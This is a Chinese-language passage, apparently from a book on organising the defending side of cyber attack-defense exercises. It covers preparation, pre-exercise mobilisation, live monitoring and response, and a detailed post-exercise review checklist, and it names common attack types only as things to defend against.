·协调和解决防守工作中的其他问题。 3)监测组。由网络、安全、系统、应用等多个监控点的人员组 成,实时监控可疑的攻击行为,并进行初步分析;监测组人员应具备 初步渗透的能力。 4)研判分析组。对疑似入侵行为进行研判分析。 5)应急处置组。对攻击行为及时封堵、处置,对被攻击资产进行 下线、加固。 6)溯源反制组。进行攻击对象溯源,对攻击者进行反制,协助编 制防守报告。 7)情报组。与情报协同单位、各供应商(设备、应用、服务)搜 集攻击线索、漏洞情报,及时上报,做到情报共享。 8)保障组。为基础环境和设施可用性提供技术保障,为作战现场 所需生活物资提供后勤保障。 9)协调联络组。负责下级单位、外连单位、兄弟及友邻单位的协 调联络工作。 (3)建立工作沟通机制与考核机制 此外,还要建立有效的工作沟通机制,通过安全可信的即时通信 工具建立实战工作指挥群,及时发布工作通知,共享信息数据,了解 工作情况,实现快速、有效的工作沟通和信息传递。 建立考核机制的要求如下。 1)与参演单位原有考核机制相关联,如要求参演单位在绩效考核 上给予一定的权限,对准备工作执行不力的单位进行敲打。 2)制定考核红线,如被通过弱口令、钓鱼等方式打穿,则KPI考 核为0,并通报批评。 (4)对下级单位的工作要求 1)提出防守要求(必须)。 ·开展资产梳理,形成《互联网资产调研表》;整理可在实战阶 段下线的资产,在实战演练前进行下线处理,并将未下线资产向防守 主单位报备。 ·开展安全检查与加固。 ·提供《检查与加固手册》,对重要系统逐项开展检查与加固工 作。 ·对非重要系统进行实战阶段的临时下线处理。 ·定期汇报工作成果。 ·每周定期开例会汇报工作进展。 ·自我组织防守。 ·依据实战开展时间自我组织战时防守工作。 ·实战阶段联防要求。 ■防守情况:每日开例会汇报攻击和防守情况,有紧急情况随时 汇报。 ■情报共享:通过联络员随时共享情报内容(包括但不限于漏洞 情报、得失分情报、攻击者情报)。 2)要求下级单位组建防守队伍,通过周例会的形式监督防守准备 工作完成情况。 3)进行技术检查:针对重点业务以全面检查的形式进行风险识 别,提出加固建议。 4)进行技术培训:内容包括战时防守的工作重点、具体工作内 容、防守流程等。 (5)对供应商的工作要求 1)人员支持:为现场支持、远程保障提供技术人员。 2)安全加固:做好自身设备漏洞收集及安全加固工作。 3)安全管理:做好本单位安全管理工作,禁止未经授权部署与客 户侧应用系统相似的测试系统,禁止留存客户侧相关的敏感信息(包 括但不限于账号和密码信息、配置信息、人员信息)。 (6)业务连接单位工作机制 1)防护准备工作联动。 2)情报共享:通过联络员随时共享情报内容(包括但不限于漏洞 情报、得失分情报、攻击者情报)。 (7)对公有云单位的工作要求 1)时刻对参演单位托管的业务系统进行监测,防范外部机构或人 员对业务系统的攻击行为。 2)对来自同一公有云内部其他云租户的异常流量进行阻断。 2. 技术方面 为了及时发现自身安全隐患和薄弱环节,红队需要有针对性地开 展自查工作,并进行安全整改与加固,内容包括资产梳理、网络架构 梳理、安全检查加固、攻防演练。下面针对这四项内容展开介绍。 (1)资产梳理 1)敏感信息梳理。利用敏感信息泄露情报服务,梳理参演单位暴 露在互联网上的敏感信息并对其进行清理或隐藏,以降低信息被攻击 队利用的风险。 2)互联网资产发现。利用互联网资产发现服务,梳理参演单位暴 露在互联网上的资产,查找未知资产及未知服务,形成互联网系统资 产清单;明确资产属性和资产信息,对无主、不重要、高风险资产进 行清理。 3)内网资产梳理。通过梳理内网资产、组件版本、责任人、指纹 识别等内容,明确内网资产状况,形成资产清单,便于后续的整改加 固,在应急处置时可及时通知责任人,还可对暴露的相关组件漏洞及 时进行定位修补;而对重要系统的识别(含集权系统)也便于后续对 重要系统开展防护及业务流梳理工作。 4)第三方供应商梳理。梳理所有第三方供应商,包括设备厂商 (网络设备、安全设备等)、应用开发商、服务提供商(云服务、运 维服务等),要求它们做好自身安全管理、自身产品安全加固,提供 防守监测人员支持。 5)业务连接单位梳理。梳理所有业务连接单位以及连接形式、系 统、区域、IP入口,了解防护监控状况,与参加业务连接单位联防联 控,建立安全事件通报机制。 6)云资产梳理。通过梳理私有云的云管平台、云软件、底层操作 系统以及公有云资产,明确云资产状况,形成资产清单,便于后续的 整改加固,在应急处置时可及时通知责任人,还可对暴露的相关组件 漏洞及时进行定位修补。 (2)网络架构梳理 1)网络访问路径梳理。明确系统访问源(包括用户、设备或系 统)的类型、位置和途经的网络节点,便于后续监测、溯源时使用, 确保安全架构梳理完成后南北向监测流量的完整性。 2)运维访问路径梳理。识别是否存在安全隐患,便于后续优化及 统一整改、加固,确认防护和监测设备是否存在缺失。 3)安全架构梳理。通过架构梳理评估安全域划分是否合理,防护 和监测设备部署位置是否恰当,是否存在缺失,是否存在安全隐患。 4)安全设备部署。建议参演单位尽快补充相关安全设备,以免影 响安全防护工作的顺利进行。根据近几年防守项目的经验,评估客户 在关键地方缺失的安全防护设备。 (3)安全检查 1)常规安全检查。常规安全检查,即传统的安全评估检查工作, 主要涉及网络安全、主机安全、应用安全、终端安全、日志审计、备 份等方面的安全评估。通过开展安全检查工作,对参演单位环境存在 的风险进行摸底,并根据检查输出的结果编写《风险整改报告》。 2)专项清查。对攻击队采用的重点攻击手段及目标进行专项清 查,主要涉及口令及未授权漏洞、重要系统安全检查等工作,尽可能 避免存在高风险、低成本的问题。 3)Web安全检测。Web安全检测应将重点放在最大限度地发现安全 漏洞隐患,验证之前发现的安全漏洞隐患是否已经整改到位。在条件 允许的情况下,针对重要信息系统进行源代码安全检测、安全漏洞扫 描与渗透测试等Web安全检测,重点应检测Web入侵的薄弱环节,例如 弱口令、任意文件上传、中间件远程命令执行、SQL注入等。 (4)攻防演练 攻防演练是为了模拟实战,检验风险自查和安全强化阶段的工作 效果,检验各工作组的前期工作效果,检验本单位对网络攻击的监 测、发现、分析和处置能力,检验安全防护措施和监测技术手段的有 效性,检验各工作组协调、配合的默契程度,充分验证技术方案的合 理性;总结监测、预警、分析、验证、处置等环节的岗位职责及工作 内容执行情况,根据攻防演练实际情况,进一步完善技术方案,为战 时工作夯实基础。 为了检验监控措施的有效性,需要对安全产品自身的安全性、部 署位置、覆盖面进行评估;为了更快地发现问题,需要尽量部署全流 量威胁检测、网络分析系统、蜜罐、主机监测等安全防护设备,提高 监控工作的有效性、时效性、准确性;监测人员还需熟练掌握安全产 品,优化安全产品规则。 3. 运营方面 成立防护工作组并明确工作职责,责任到人,开展并落实技术检 查、整改以及安全监测、预警、分析和处置等运营工作,加强安全技 术防护能力。完善安全监测、预警和分析措施,使监测手段多元化, 建立完善的安全事件应急处置机构和可落地的流程机制,提高事件的 处置效率。 同时,所有的防护工作,包括预警、分析、验证、处置和后续的 整改、加固,都必须以监测并发现安全威胁、漏洞隐患为前提。其 中,全流量安全威胁检测分析系统是防护工作的关键节点,应以此为 核心,有效地开展相关防护工作。 (1)应急预案编写及完善 应根据实战工作要求,结合自身实际情况编写《网络安全应急预 案》。预案的主要内容应包括工作目标、应急组织架构、工作内容及 流程(监测与分析、响应与处置)等,具体事件应包括Web漏洞利用攻 击事件、弱口令爆破事件、任意文件上传事件、跳板代理攻击事件 等。应开展相应的应急演练,熟悉各岗位的工作内容和工作流程,针 对演练过程中发现的问题限期整改。同时,需要整理《值班应急联系 表》与《工作人员通讯录》,以达到战时责任分工明确、快速处置安 全事件、降低业务影响等要求。 (2)安全意识培训 攻击者除了使用Web入侵攻击手段外,还会使用钓鱼和社会工程学 等方式进行攻击,每一个系统接触者都有可能成为攻击目标。攻击者 可能通过邮件甚至互联网发布文章等方式,诱导工作人员下载恶意远 控程序,成为非法入侵的突破口。 所以,对全员进行信息安全意识教育和专项培训是有必要的。在 有条件的情况下,可在实战前期对全员开展安全意识培训工作,尤其 需要提升接触关键信息的人员、权责较高的人员、系统运维人员等的 安全意识,以减少安全意识薄弱造成的安全风险。 (3)生产工作要求 在开展安全技术工作的同时,还要加强生产工作要求,控制网络 安全防护工作实施过程中的安全风险,降低因人员违反工作要求而产 生的安全风险。建议生产工作要求如下。 ·保密要求:禁止泄露任何与工作相关的信息、数据,与第三方 技术支持单位人员签订保密协议。 ·网络传播:严禁私自传播任何与工作相关的信息,如发朋友 圈。 ·个人终端安全:须对接入网络的计算机终端进行病毒查杀、安 全基线合规检查和加固。 ·值守要求:工作期间禁止擅离职守,全员7×24小时开机,并保 持通信畅通。 ·工作要求:现场禁止开展与工作无关的任何事情。 ·时间要求:严格按照工作要求时间开展相关工作。 ·漏洞上报:禁止隐瞒和恶意利用已发现的木马和其他漏洞,下 级单位发现有效的安全漏洞应及时上报。 (4)工作机制宣贯 在完成前期准备、风险自查、安全强化等阶段工作后,将要开始 临战阶段工作,需要再次与各个工作组确认实战阶段各岗位工作人员 是否可以按时到位,建立工作沟通群并开始使用。梳理安全监测、发 布预警、验证研判、溯源分析、应急处置等工作的详细流程,按照实 战阶段的工作职责组织会议对工作流程、工作职责、工作内容和联动 配合等进行培训,让各岗位人员尽快熟悉各自的工作内容,为实战阶 段的工作夯实基础。 6.2 临战阶段:战前动员,鼓舞士气 经历了备战阶段的查缺补漏、城防加固等工作,红队的安全防护 能力在技术方面、管理方面和运营方面都有了较大提升。为了更好地 协同配合,高效地应对实战阶段的攻击,减少分析处置事件的时间, 提高防守的效果,还需要做好临战阶段的动员工作。 临战阶段的动员工作建议从以下4方面开展。 (1)工作清点 工作清点的目的是对工作计划清单进行复盘,检查工作完成情 况,再次确认备战阶段所有工作任务均已完成。同时,实施排期至临 战阶段的相关工作任务,例如,对不能整改的安全问题进行访问控 制,关停下线非必要系统等。 1)业务系统暂停服务。为了使防守更加精细化,缩小受攻击面, 使防护目标更加明确,在不影响正常业务系统运行的情况下,可以进 行业务连续性需求评估,关停存在安全风险但不能及时修复的服务 器,并做好记录。(关停服务器不是只关闭服务器的对外映射,而是 要将整个服务器下线,避免内网横向拓展时被利用。) 2)关闭服务器对外访问权限。所有服务器,包括DMZ和应用、数 据库服务器等,均应禁止访问互联网,如有必须主动外连的需求,尽 可能确定需要访问的IP地址并开临时白名单。若为了服务器下载软件 或升级方便,开放访问互联网的权限,攻击者可轻易通过建立反向代 理等方式远程控制服务器,进而对内部网络进行扩散攻击。 3)集权类系统排查和暂停服务。集权类系统一般都是攻击者打击 的主要目标。拿下集权类系统,可以获得其所管辖范围内的所有主机 的控制权。集权类系统包括域控制器服务器(Domain Controller)、 DNS服务器、备份服务器、ITSM运维管理系统、Zabbix、Nagios、堡垒 机等集成监控维护系统,研发服务器、SVN、Git、研发个人终端、运 维个人终端,以及VPN登录及单点登录入口等。 根据以往的工作经验,集权类系统存在0day漏洞的概率比较大。 集权类系统如果被攻击者利用,反而会给攻击者更多的辅助性手段, 他们通过集权类系统可以拿下大批主机。因此在实战期间,集权类系 统若存在安全漏洞且无法及时修复,建议关闭系统、暂停服务。 4)服务器日志检查分析(失陷检测)。在实战之前,可以使用 Web日志失陷检测平台和主机日志分析平台分析关键服务器的Web日志 和Windows操作系统日志,对其关键服务器进行一次排查,查看是否存 在被入侵的痕迹。确保服务器在实战之前“干净”的。后续在实战阶 段,也需要定期通过分析平台对日志进行分析,以发现可能被防护设 备遗漏的入侵行为。 (2)战前动员 战前动员主要包含4部分工作:一是在实战演练开始前,召开现场 战前动员会,统一思想,统一战术,提高斗志,达成共识;二是强调 防守工作中的注意事项,攻击手段多种多样,为防止被攻击利用,防 守人员要严格遵守纪律红线,做到令行禁止;三是提高大家的攻防意 识,对攻击过程进行剖析,对常见的攻击手段部署针对性的防守要 点,做到有的放矢;四是明确奖惩制度,做到有赏有罚,所有参战单 元既有目标又有压力,才能够产生强烈的动力,努力完成任务。 (3)宣贯工作流程 宣贯工作流程的目的:一是对参与防守工作的人员进行任务分 工,说明工作职责,让其各司其职,并使其了解网络环境、资产情 况、业务流向等情况;二是固化每日工作流程,使各岗位协同配合, 做好攻击事件的监测处置、研判上报、溯源处置和情报共享等工作; 三是宣贯制定的工作排班计划、交接班要求等。通过完善工作流程令 防守工作有序、有效,提升防守的效果。 (4)战术培训 战术培训的主要工作内容有两项:一是由安全专家分享其他单位 的网络安全实战攻防演练经验,宣贯各阶段的攻击特征,协助防守队 制定针对不同攻击场景的防守战术;二是由安全专家对演练评分规则 进行详细解读,提高参演人员对演练的认知。 6.3 实战阶段:全面监测,及时处置 攻守双方在实战阶段正式展开全面对抗。防守方须依据备战的明 确组织和职责,集中精力和兵力,做到监测及时、分析准确、处置高 效,力求系统不破、数据不失。 在实战阶段,从技术角度总结,应重点做好以下4点。 (1)全面开展安全监测预警 在实战阶段,监测人员须具备基本的安全数据分析能力,能根据 监测数据、情报信息判断攻击的有效性。如存疑,应立即协同专业分 析人员进行分析,确保监控可以实时发现攻击,不漏报,为处置工作 提供准确信息。监测工作应覆盖整个攻击队的攻击时间。 (2)全局性分析研判工作 在实战防护中,分析研判应作为核心环节,分析研判人员要具备 攻防技术能力,熟悉网络和业务。分析研判人员作为整个防护工作的 大脑,应充分发挥专家和指挥棒的作用:向前,对监测人员发现的攻 击预警、威胁情报进行分析和确认;向后,指导和协助事件处置人员 对确认的攻击进行处置。 (3)提高事件处置效率效果 确定攻击事件成功后,最重要的是在最短时间内采取技术手段遏 制攻击,防止攻击蔓延。事件处置环节,应联合网络、主机、应用和 安全等多个岗位的人员协同处置。 (4)追踪溯源,全面反制 在发现攻击事件后,防守队可根据安全防护设备、安全监测设备 产生的告警信息和样本信息等,结合各种情报系统追踪溯源。条件允 许时,可通过部署诱捕系统反制攻击队,拿下攻击终端。 6.4 总结阶段:全面复盘,总结经验 实战攻防演练的结束也是红队改进防守工作的开始。在每次红蓝 对抗演练结束后,应对各阶段进行充分、全面的复盘分析,提出整改 措施。一般须遵循“遗留最小风险”和“问题相对清零”的原则持续 优化防守策略,对不足之处进行整改,进而逐步提升防守水平。因 此,红队可通过沙盘推演、桌面推演等方式找出自己在备战阶段、临 战阶段、实战阶段存在的纰漏,涉及以下方面:工作方案、组织管 理、工作启动会、系统资产梳理、安全自查及优化、基础安全监测与 防护设备的部署、安全意识、应急预案、注意事项、队伍协同、情报 共享和使用、反制战术、防守作战指挥策略等。同时,结合实战攻防 对抗过程中发现的网络架构、主机安全、数据库安全、应用安全、安 全和网络设备、身份安全、供应链等方面的风险和问题进行整改,输 出管理、技术、运维三方面问题的整改措施和计划,实现风险和问题 闭环清零。 1. 复盘总结 本节主要阐述红队防守工作活动的关键复盘动作,复盘动作将分 为管理动作和技术动作两方面。另外,总体复盘任务包括但不限于以 下关键动作,防守单位在复盘工作开展时可以增加总结动作。 (1)设定防守工作目标 结合防守单位自身网络安全的实际情况,设定符合单位防守实际 的工作目标,目标不应过高也不应过低。目标过高,意味着防守工作 投入过大;目标过低,则无法通过演练检验实际的网络安全短板具体 在哪里。所以,应该复盘是否结合了单位网络安全建设的实际水平设 定工作目标。演练活动结束后,检验是否达到预期目标。达到或未达 到预期目标都需要总结,并反思为什么能达到或未达到,即需对目标 结果完成复盘分析。 (2)制订工作方案 复盘工作方案,根据整体防守实施过程分析方案的完备性,以实 际工作过程检验制订的方案中是否存在缺失项。 (3)组织架构和分组职责 复盘是否成立了有足够推动力、可以实现跨部门统筹和协调工作 的领导小组,防守工作小组结构是否健全、完备,各小组职责是否清 晰、完备。分析防守过程中是否存在因职责不明确或组织架构不全, 导致无法感知攻击行为或感知攻击行为后无法及时处置的问题。 (4)防守靶标系统基本信息调研 应该复盘演练前是否对靶标系统的基本信息进行过调研,选择靶 标系统时是否遵循了选择原则,是否调研过靶标系统部署的网络环 境、主机操作系统类型、中间件类型、数据库类型、应用系统开发语 言和开发框架信息,以及靶标系统网络访问策略情况、业务交互情 况、攻击靶标系统的关键攻击路径和运维管理节点是否可控等。 (5)防守单位和人员确认 复盘是否制作了完整的防守单位和人员排班表,是否制作了工作 人员技术能力画像表,技术人员所在的技术岗位职责是否清晰,所在 岗位人员能力是否满足岗位要求等。 (6)工作启动会 复盘防守过程中是否正式召开了工作启动会,是否有具备足够推 动力的领导参加启动会,是否所有相关的防守单位均参加了启动会。 (7)签署保密协议 复盘是否所有第三方参演单位的工作人员都签署了保密协议。参 与工作人员不仅包含实际参战的技术人员,还包括商务、会务和后勤 保障等成员。即使所有工作人员都签署了保密协议,还是需要在启动 会中全员宣贯和强调安全保密的意识。 (8)沟通软件部署 复盘演练活动中是否部署了高效的沟通软件,沟通组织的各个工 作小组人员是否熟练使用软件功能,复盘有没有需要改进的通信组织 结构和账号权限建议。高效的沟通机制是红队防守成功的前提。 (9)防守工作场地 按照各单位攻防演练活动中红队实际参演人数的规模大小,复盘 是否准备了适当的工作场地。一般红队防守工作将持续1~2周甚至更 长时间,因此需要根据防守人数考虑工作场地面积大小、物资保障物 品多少和保障物质的输送频率。此外,还需考虑场地是否需要屏幕, 网络、防守终端设备是否通畅,桌椅板凳是否齐全、舒适等。 (10)制订应急预案和流程 复盘红队防守工作方案中是否包含安全应急预案,检查前期预案 是否包含不同场景,并按照场景设计了符合单位实际的应急处置流 程。 (11)防守规则调研 检查攻防演练活动中红队防守工作的备战阶段,项目组是否充分 了解防守规则,是否对防守规则进行过研讨并制订了规则解读表。 (12)系统资产梳理 复查资产及台账管理,检查防守过程中是否存在由硬件、软件、 数据资产梳理不清或者台账不全、不准确导致资产受损无感知甚至对 遭受的攻击行为无法分析等问题。 (13)部署基础设备 复查防守工作中的基础设备部署方式是否正确,是否存在由部署 位置错误导致设备功能无效或不能发挥全部防护功能的问题。例如, 流量接入不全导致无法实现流量全面监测,服务器加固设备部署的点 不全导致主机防护缺失等。 (14)网络架构 复查整体网络架构的网与网之间是否缺少隔离措施、有没有划分 安全域、是否缺少必要的安全防护设备,是否存在网络设备较老导致 无法升级补丁的情况,在关键网络边界是否具备对抗互联网安全威胁 和网络攻击(抗拒绝服务攻击、入侵防御、恶意代码防护、垃圾邮件 防护、网络访问和流量控制等)的能力。 (15)主机安全 复查是否建立了完整的主机台账,主机操作系统是否还存在多年 前的老漏洞未修复,是否还存在弱口令或统一口令,远程管理是否缺 少安全措施,日志是否缺乏保护和备份(如果缺少,会导致发生安全 事件后无法通过日志进行溯源分析)。 (16)数据库安全 复查是否为数据库建立了快速且行之有效的补丁升级流程,是否 存在弱口令或者默认口令,数据库访问是否没有权限控制,以及数据 库的软件安装权限是否过大(如采用root权限安装)等。 (17)应用安全 复查防守工作中是否记录了所有被攻击应用系统的攻击路径,对 于攻击发现的各类漏洞(注入、越权、XSS、逻辑漏洞等)、采用的组 件(如开源组件)、中间件、安全配置不规范(例如配置信息中包含 敏感的数据库信息、允许弱口令、后台暴露等)、部署不规范(例如 部署人员在升级时覆盖了之前已修复的补丁,导致旧的漏洞重现却不 知道)等是否进行了漏洞台账管理和修复与加固。 (18)安全和网络设备 复查安全设备、网络设备在攻防对抗中是否对发现的新漏洞 (0day或Nday)进行了修复,是否存在以下情况:安全策略配置过粗 (如:怕影响业务,WAF禁止使用太多的策略;为了运维方便,网络 ACL直接按段开放),策略有效性未经检验(无人检验配置是否生效, 实际并未生效),策略冲突(较严格的控制策略被较粗的控制策略覆 盖),配置问题(存在弱口令或默认口令,访问不受限制,特征库升 级迟缓,授权过期),等等。这些问题会给单位的安全运营、运维工 作带来较为严重的风险。 (19)身份安全 复查是否所有的设备、应用都有身份鉴别功能,身份鉴别功能是 否完善,权限划分是否合理,同时复查使用设备、应用的人员身份是 否存在认证和权限过大的问题。 (20)安全自查及优化 复查防守过程中的安全自查及优化方式、手段是否足够,发现的 问题是否均已整改,整改是否存在遗留问题,并评价整改措施是否有 效。 (21)注意事项 复查防守工作中是否向全员提示了完备的注意事项,是否还有可 以补充的注意事项,原有事项描述及要求是否合理等。 (22)应急演练 复查防守工作中是否存在新的突发应急事件在原应急预案中没有 涉及,预案设计是否合理、全面,应急演练过程、阶段是否缺失,预 案设计与实际的应急处置是否匹配,是否存在纸面设计与实际工作脱 节的问题等。 (23)安全意识培训 复查安全意识培训方式是否有效,培训对象是否有缺失,培训内 容是否完备,培训频度是否足够高等。 (24)红队防守期间每日常规动作 复盘红队防守期间所有干系人的常规动作是否按照工作分组进行 标准化。常规动作不仅包含技术人员的技术操作,还包含总结和梳理 演练活动中的管理行为、后勤保障行为等。 (25)队伍协同 复查防守工作中各个参演部门和第三方支持厂商是否履行了规定 的相关职责,各个节点在工作配合过程中是否有效执行了工作职责内 容,不同位置上各司其职的工作人员是否进行了协同、使队伍,高效 运转等。如发生了协同配合不顺畅的问题,检查是否找出了问题原因 和解决方案。 (26)防守作战指挥策略 复查是否总结了对抗期间的总体指挥防守策略,在不同的攻击场 景下是否有不同的指挥应对手段等。 (27)攻击队攻击方式总结 1)互联网突破总结。复盘红队是否提前研究了互联网突破的攻击 方式,是否针对各类突破方式解读被攻击时的监测行为和流量监测告 警提示状态,是否制订了发生攻击和产生告警提示状态时的管理和技 术应对举措,是否将此防御技术编入防守技战法手册并定期维护。 2)旁站攻击总结。复盘红队是否提前研究了旁站攻击的突破方 式,是否针对各类旁站攻击方式解读被攻击时的监测行为和流量监测 告警提示状态,是否制订了发生攻击和产生告警提示状态时的管理和 技术应对举措,是否将此防御技术编入防守技战法手册并定期维护。 3)传统渗透攻击总结。复盘红队是否提前研究了攻击队经常使用 的传统渗透攻击方式(如经常使用的WebLoigc反序列化命令执行攻 击、JBoss远程代码执行攻击、Struts2远程命令执行攻击、Redis未授 权访问攻击、永恒之蓝漏洞攻击、Windows操作系统漏洞攻击、数据库 弱口令和操作系统弱口令攻击、FTP匿名登录攻击、rsync未授权访问 攻击、HTTP OPTIONS方法攻击、SSL/TLS存在Bar Mitzvah Attack漏洞 攻击、X-Forwarded-For伪造攻击等),是否针对各类突破方式解读被 攻击时的监测行为和流量监测告警提示状态,是否制订了发生攻击和 产生告警提示状态时的管理和技术应对举措,是否将此防御技术编入 防守技战法手册并定期维护。 4)物理攻击总结。复盘红队是否提前研究了物理攻击的攻击方 式,是否针对物理攻击类型制订了管理和技术应对举措,是否将此防 御技术编入防守技战法手册并定期维护。 5)利用大型内网做跨区域攻击总结。复盘红队是否提前研究了攻 击队利用大型内网做跨区域攻击的方式,是否针对各类跨区域攻击方 式部署了监控设备,是否解读了被攻击时的监测行为和流量监测告警 提示状态,是否制订了发生攻击和产生告警提示状态时的管理和技术 应对举措,是否将此防御技术编入防守技战法手册并定期维护。 6)集权类设备或系统攻击总结。复盘红队是否提前研究了集权类 设备或系统的攻击方式,检查攻防演练活动的防守备战阶段是否对集 权类设备和系统进行了安全加固,在监控系统中是否针对集权类设备 和系统制定了定制化监测规则和策略,是否解读了集权类设备和系统 被攻击时的流量监测告警提示状态,是否制订了发生攻击和产生告警 提示状态时的管理和技术应对举措,是否将此防御技术编入防守技战 法手册并定期维护。 7)专挖0day+1day总结。复盘红队是否提前研究了0day+1day漏洞 攻击方式,是否针对此类漏洞攻击方式解读被攻击时的监测行为和流 量提示状态,是否安排专人定期对重要设备和系统读取日志、新增进 程、新增文件巡检,是否制订了发生攻击和产生流量提示状态时的管 理和技术应对举措,是否将此防御技术编入防守技战法手册并定期维 护。 8)供应链攻击总结。复查是否建立了供应链厂商、产品清单台 账,是否制定了供应商安全维护管理规范并禁掉或最小化供应商远程 维护系统的管理权限,是否有本地维护的未经许可自带设备接入内 网,是否对供应链企业清单进行自查(包括但不限于产品品类、开发 商名称、开发商资本结构、产品名称、主程序名与安装路径、版本 号、是否OEM、软件开发规范、软件工程规范、开发语言、运行环境、 涉及的操作系统、涉及的开源项目、版本控制系统、已知系统漏洞、 是否有信息传回开发商、回传信息及位置、授权模式、开发环境代码 审查机制、开发环境漏洞扫描机制等)。 9)邮箱系统攻击(获取信息)总结。复盘红队是否提前研究了邮 箱系统攻击方式,是否针对邮箱系统突破方式解读被攻击时的监测行 为和流量监测告警提示状态,是否制订了发生攻击和产生告警提示状 态时的管理和技术应对举措,是否将此防御技术编入防守技战法手册 并定期维护。 10)免杀、加密隧道等隐蔽攻击总结。复盘红队是否提前研究了 免杀和加密隧道等隐蔽攻击方式,是否针对此类隐蔽攻击方式解读被 攻击时的监测行为和流量监测告警提示状态,是否制订了发生攻击和 产生告警提示状态时的管理和技术应对举措,是否将此防御技术编入 防守技战法手册并定期维护。 11)钓鱼、水坑,利用人的弱点总结。复盘红队是否提前研究了 钓鱼和水坑攻击方式,是否对全员进行了安全意识宣贯培训,是否针 对钓鱼、水坑的攻击方式解读被攻击时的监测攻击行为和流量监测告 警提示状态,是否制订了发生攻击和产生告警提示状态时的管理和技 术应对举措,是否将此防御技术编入防守技战法手册并定期维护。 12)目标单位周边Wi-Fi攻击总结。复盘红队是否提前研究了Wi- Fi攻击方法,是否解读了此类攻击发生时的行为和流量提示状态,是 否制订了发生攻击和产生提示流量状态时的管理和技术应对举措,是 否将此防御技术编入防守技战法手册并定期维护。 13)业务链单位攻击。复盘是否梳理了业务链资产清单,是否在 此类业务链交互出口部署了监控设备和系统,是否制订了业务链单位 发生安全攻击时的应急预案。 14)安全产品、IoT设备等漏洞利用。复盘是否梳理了IoT类业务 设备系统资产清单,是否制订了此类设备发生安全攻击时的应急预 案。 (28)情报共享和使用 复查所有生产威胁情报的小组是否形成共享网络,是否在职责范 围内进行了情报管理工作,上下级单位和同行业单位之间是否在使用 威胁情报的同时也共享其他单位的威胁情报信息。收到共享的威胁情 报,是否导入了安全监测设备,并结合威胁情报对网络中的流量进行 查询和分析,以精准发现已发生攻击行为或潜在攻击行为等。 (29)反制战术 如果防守工作中使用了反制战术,复查是否对反制战术进行了总 结并形成方案,为以后防守提供支持。 (30)攻防演练总结 复盘红队在攻防演练过程中是否提交了所有技术报告,攻防演练 结束后是否对防守成果、防守心得、技战法进行了总结汇报,组织方 是否召开了防守复盘会来总结经验教训和制订问题整改工作计划。 2. 改进措施 针对在复盘总结中发现的问题和薄弱点进行梳理与分析,制订下 一步工作计划并给出解决问题的措施和手段,确定近期可解决的问 题、需要长期增加安全措施和优化工作机制才能逐步解决的问题,从 管理、技术、运维3个层面确定需要完善和优化的安全措施和手段,并 将优化机制、措施加入日常的安全运营中。 在此,我们将重点介绍应用系统安全运营管理,而不会详细介绍 网络安全强调的安全建设和安全规划的概念与方法。在应用系统安全 运营管理方面,建议红队防守单位至少逐步形成并完善以下机制、措 施和安全运营管理。 (1)应用系统生命周期管理 一个应用系统一般会经历需求、设计、开发、上线运行和下线5个 阶段。在以往的信息系统开发过程中,单位重点关注的是能否按照业 务需求按时完成系统功能开发,按时上线并运行。事实证明,在上线 后才开始关注应用系统的安全问题已被证明并不是有效的安全解决方 式,而且软件的安全问题中很大一部分是由不安全的设计引入的。 经过分析和对比发现,凡是在设计阶段就将安全工作纳入开发工 作中并在后续的各个阶段都能够贯彻执行的应用系统,在运行后出现 的安全问题相对较少,整改起来也相对容易和彻底。因此建议单位在 安全运营工作中重视应用系统的生命周期管理。 1)应用系统开发安全管理机制。除了正常的应用系统开发管理工 作外,还应关注开发安全管理工作。对此,建议在设计阶段引入安全 管理机制,让安全专家对设计方案进行审核和评审,提出安全建议, 以提高应用系统在设计阶段的安全健壮性。具体可从如下几方面开展 工作。 ·在应用系统立项时就初步明确该应用系统的安全等级,以确保 后续安全设计工作有一定的依据。 ·在应用系统需求调研时,对需求调研人员进行应用系统安全开 发规范培训(应提前制定应用系统安全开发规范),在形成需求规格 文件后,组织需求规格安全评审。 ·在应用系统设计阶段,主要完成对应用系统设计方案的评审。 ·在应用系统开发阶段,对开发人员、测试人员进行应用系统安 全开发规范培训(应提前制定应用系统安全开发规范),使得开发过 程安全可控。 2)应用系统上线安全管控机制。单位应该建立健全的应用系统安 全上线前的检测流程、标准和制度,安全负责部门应严格执行应用系 统上线前的安全检测工作,包括应用系统安全扫描、基于业务流程的 渗透测试、代码审计和安全配置核查等。待应用系统通过安全评估后 才能允许其进入上线运行阶段,禁止让带“病”的应用系统上线运 行。 受人力物力的局限,单位一般很难完全通过自身开展该项工作, 因此建议单位聘请专业的第三方安全公司或者机构来专门负责应用系 统上线前的安全检测和评估工作,以保证评估结果的客观性。 3)应用系统运行安全管控机制。应用系统在运行过程中的安全问 题主要表现在:各类漏洞的暴露(操作系统漏洞、应用系统漏洞、数 据库漏洞等)、应用配置不当(后台暴露、Web弱口令、敏感信息泄 露、目录权限设置不当等)、升级部署不规范(升级导致之前的漏洞 补丁被覆盖,升级之前未备份数据导致数据丢失等)。 关注应用系统在运行过程中的安全,建议:采用主动防御理念, 通过部署WAF、网站云防护、网页防篡改等安全设备,提高应用系统在 运行过程中的边界防护能力;通过定期进行漏洞扫描、渗透测试、安 全检查与评估等,及时发现应用系统在运行中存在的安全隐患;建立 起应急处置机制,以快速对发现的应用系统问题进行整改。这样,通 过建立起防护、检测和处置的闭环运行管理机制,提升应用系统动态 安全防护能力。 4)应用系统下线安全管控机制。在安全运营中,应用系统下线相 对简单,但也存在容易忽略的风险。例如:只关闭系统域名,但服 务、服务器却还在运行;下线后各类数据丢在一旁不管,导致数据泄 露风险提升;下线过程没有对应的流程,导致系统下线过程没有相应 的记录等。 针对上述问题,建议在日常安全运营中,无论应用系统是正常下 线还是因安全问题下线,都应该遵照既定的流程进行。在应用系统下 线前,应完成应用系统数据备份、数据清除、资源回收和设备回收等 工作,同时应检查以确保应用系统下线后不存在遗漏情况,避免出现 应用域名停用而服务还在运行的情况。最后,还应在资产台账中同步 更新相关信息,完善应用系统下线后的安全措施。 5)其他关键点管理措施。应用系统生命周期管理工作主要体现在 上述4个环节。为了更好地开展应用系统生命周期管理工作,我们根据 多个项目的经验梳理了关键点,主要涉及在新应用系统上线前如何开 展安全检测工作、如何开展漏洞管理工作两方面。 漏洞管理工作稍后介绍,这里来看应用系统上线前安全检测。在 日常安全运营中,有的单位在新应用系统上线前开展过安全检测工 作,有的单位并没有。我们根据多个项目的经验,梳理出系统上线前 开展安全检测工作的关键点,以供单位参考。主要关键点如下。 ·单位日常安全运营中,应建立新系统上线安全检测管理制度和 流程,对上线系统进行“体检”。 